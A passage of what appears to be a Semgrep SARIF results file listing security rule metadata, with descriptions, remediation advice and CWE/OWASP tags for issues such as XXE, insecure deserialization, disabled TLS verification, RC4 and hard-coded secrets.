This makes your HTTPS connections insecure. Remove the 'insecure-skip-tls-verify: true' key to secure communication."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster","id":"yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster","name":"yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead."},"help":{"markdown":"Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http","id":"python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http","name":"python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure all Elasticsearch has node-to-node encryption enabled.\t"},"help":{"markdown":"Ensure all Elasticsearch has node-to-node encryption enabled.\t\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure all Elasticsearch has node-to-node encryption enabled.\t"},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled","id":"terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled","name":"terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The function base_convert uses 64-bit numbers internally, and does not correctly convert large numbers. It is not suitable for random tokens such as those used for session tokens or CSRF tokens."},"help":{"markdown":"The function base_convert uses 64-bit numbers internally, and does not correctly convert large numbers. It is not suitable for random tokens such as those used for session tokens or CSRF tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.base-convert-loses-precision.base-convert-loses-precision)\n - [https://www.php.net/base_convert](https://www.php.net/base_convert)\n - [https://www.sjoerdlangkemper.nl/2017/03/15/dont-use-base-convert-on-random-tokens/](https://www.sjoerdlangkemper.nl/2017/03/15/dont-use-base-convert-on-random-tokens/)\n","text":"The function base_convert uses 64-bit numbers internally, and does not correctly convert large numbers. It is not suitable for random tokens such as those used for session tokens or CSRF tokens."},"helpUri":"https://semgrep.dev/r/php.lang.security.base-convert-loses-precision.base-convert-loses-precision","id":"php.lang.security.base-convert-loses-precision.base-convert-loses-precision","name":"php.lang.security.base-convert-loses-precision.base-convert-loses-precision","properties":{"precision":"very-high","tags":["CWE-190: Integer Overflow or Wraparound","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.base-convert-loses-precision.base-convert-loses-precision"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls","id":"java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls","name":"java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of RC4 was detected. RC4 is vulnerable to several attacks, including stream cipher attacks and bit flipping attacks. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of RC4 was detected. RC4 is vulnerable to several attacks, including stream cipher attacks and bit flipping attacks. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc4.use-of-rc4)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of RC4 was detected. RC4 is vulnerable to several attacks, including stream cipher attacks and bit flipping attacks. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc4.use-of-rc4","id":"java.lang.security.audit.crypto.use-of-rc4.use-of-rc4","name":"java.lang.security.audit.crypto.use-of-rc4.use-of-rc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-rc4.use-of-rc4"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","id":"kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","name":"kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3."},"help":{"markdown":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version","id":"cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version","name":"cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret","id":"javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret","name":"javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ReverseProxy can remove headers added by Director. Consider using ReverseProxy.Rewrite instead of ReverseProxy.Director."},"help":{"markdown":"ReverseProxy can remove headers added by Director. Consider using ReverseProxy.Rewrite instead of ReverseProxy.Director.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.reverseproxy-director.reverseproxy-director)\n - [https://github.com/golang/go/issues/50580](https://github.com/golang/go/issues/50580)\n","text":"ReverseProxy can remove headers added by Director. Consider using ReverseProxy.Rewrite instead of ReverseProxy.Director."},"helpUri":"https://semgrep.dev/r/go.lang.security.reverseproxy-director.reverseproxy-director","id":"go.lang.security.reverseproxy-director.reverseproxy-director","name":"go.lang.security.reverseproxy-director.reverseproxy-director","properties":{"precision":"very-high","tags":["CWE-115: Misinterpretation of Input","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.reverseproxy-director.reverseproxy-director"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The `vm` module enables compiling and running code within V8 Virtual Machine contexts. The `vm` module is not a security mechanism. Do not use it to run untrusted code. If code passed to `vm` functions is controlled by user input it could result in command injection. Do not let user input in `vm` functions."},"help":{"markdown":"The `vm` module enables compiling and running code within V8 Virtual Machine contexts. The `vm` module is not a security mechanism. Do not use it to run untrusted code. If code passed to `vm` functions is controlled by user input it could result in command injection. Do not let user input in `vm` functions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The `vm` module enables compiling and running code within V8 Virtual Machine contexts. The `vm` module is not a security mechanism. Do not use it to run untrusted code. If code passed to `vm` functions is controlled by user input it could result in command injection. Do not let user input in `vm` functions."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection","id":"javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection","name":"javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Externally controlled data influences the filename of a dynamically loaded library. This could trigger arbitrary code execution."},"help":{"markdown":"Externally controlled data influences the filename of a dynamically loaded library. This could trigger arbitrary code execution.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Externally controlled data influences the filename of a dynamically loaded library. This could trigger arbitrary code execution."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path","id":"cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path","name":"cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path","properties":{"precision":"very-high","tags":["CWE-114: Process Control","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"certificate verification explicitly disabled, insecure connections possible"},"help":{"markdown":"certificate verification explicitly disabled, insecure connections possible\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"certificate verification explicitly disabled, insecure connections possible"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation","id":"python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation","name":"python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.superagent.hardcoded-basic-token.hardcoded-basic-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.superagent.hardcoded-basic-token.hardcoded-basic-token","id":"javascript.superagent.hardcoded-basic-token.hardcoded-basic-token","name":"javascript.superagent.hardcoded-basic-token.hardcoded-basic-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.superagent.hardcoded-basic-token.hardcoded-basic-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The identified XML parser permits the use of external Document Type Definitions (DTDs). The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The identified XML parser permits the use of external Document Type Definitions (DTDs). The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.schemafactory-xxe.schemafactory-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The identified XML parser permits the use of external Document Type Definitions (DTDs). The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.schemafactory-xxe.schemafactory-xxe","id":"kotlin.xxe.schemafactory-xxe.schemafactory-xxe","name":"kotlin.xxe.schemafactory-xxe.schemafactory-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities 